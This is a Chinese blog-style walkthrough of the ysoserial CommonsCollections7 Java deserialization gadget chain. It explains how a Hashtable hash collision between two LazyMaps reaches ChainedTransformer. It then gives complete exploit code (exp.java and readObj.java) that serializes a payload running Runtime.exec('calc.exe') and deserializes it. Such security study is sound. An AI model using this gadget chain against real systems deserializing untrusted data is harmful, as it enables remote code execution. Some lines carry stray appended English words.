java反序列化-ysoserial-調試分析總結篇(7)

前言:

CommonsCollections7外層也是一條新的構造鏈,外層由hashtable的readObject進入,這條構造鏈挺有意思,由於用到了hash碰撞java

yso構造分析:

首先構造進行rce所須要的轉換鏈,這裏也用的是chianed裏面套Constantrans+invoketrans的方法apache

接着構造兩個hashmap,經過lazymap的decorate用chained進行裝飾後放進hashTable,這兩個lazymap放進去的值也比較有講究,要求計算出來的lazymap的hash相同函數

由於這裏hashtable放進第二個lazymap時,由於兩個lazymap的hash相同,因此將把第一個lazymap的key值yy放到第二個lazymap中(首先lazymap.get(‘yy’)嘗試從第二個lazymap中拿),此時將致使lazymap2中新添加yy->processImpl鍵值對this

爲了讓後面調用鏈時發生hash碰撞,因此這裏要移除該鍵值對,爲何移除在後面調用鏈進行一個解釋spa

 

調用鏈分析:

首先反序列化讀出key和value,此時讀出的key爲lazymap,將從新裝進hashtable中,這裏調用reconstitutionPut,將會對key算一個hash和一個table的索引值,此時要判斷是否該索引值處是否已經有元素,此時要判斷已經放進的第一個lazymap的hash和當前key的hash是否相同,那麼此時取出來的entry的key即爲第一個lazymap,兩個hash值是相同的,即code

e.hash==hash,因此進入第二個判斷兩個lazymap是否徹底相同orm

此時將調用AbstractMap的equals方法,入口參數值即爲要放入的lazymapblog

 

 此時將首先判斷一下兩個lazymap的大小同樣不同,由於以前構造payload的時候已經移除了第二個lazymap中yy->yy鍵值對,所以此時兩個lazymap的空間大小一致都爲1索引

此時遍歷該map,首先將取出第一個lazymap中key和value爲yy->1,若是value爲null,則若是從第二個lazymap中取出該key的value不爲null而且第二個lazymap包含該key,則判斷兩個lazymap不同,可是這裏value不爲null,所以進入else判斷,即判斷兩個lazymap的value是否相同,此時調用第二個lazymap的get函數,key即爲yyrem

 那麼調用了lazymap.get,就又回到了咱們以前的套路了,調用this.factory.transform

此時接着就是調用chainedtransformer的transform進行rce了

 

手動exp構造:

exp.java

package CommonsCollections7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class exp {
    public static void main(String[] args) throws IOException {
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}
                        ),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"})
        };

        ChainedTransformer chain = new ChainedTransformer(trans);

        //構造兩個hash值相同的lazymap
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        
        Map lazyMap1 = LazyMap.decorate(innerMap1,chain);
        lazyMap1.put("yy",1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
        lazyMap2.put("zZ",1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1,1);
        hashTable.put(lazyMap2,2);

        lazyMap2.remove("yy");

        //序列化
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser");
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
        obj.writeObject(hashTable);

    }
}

readObj.java

package CommonsCollections7;

import java.io.*;

public class readObj {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser");
        ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
        obj.readObject();
    }
}
相關文章
相關標籤/搜索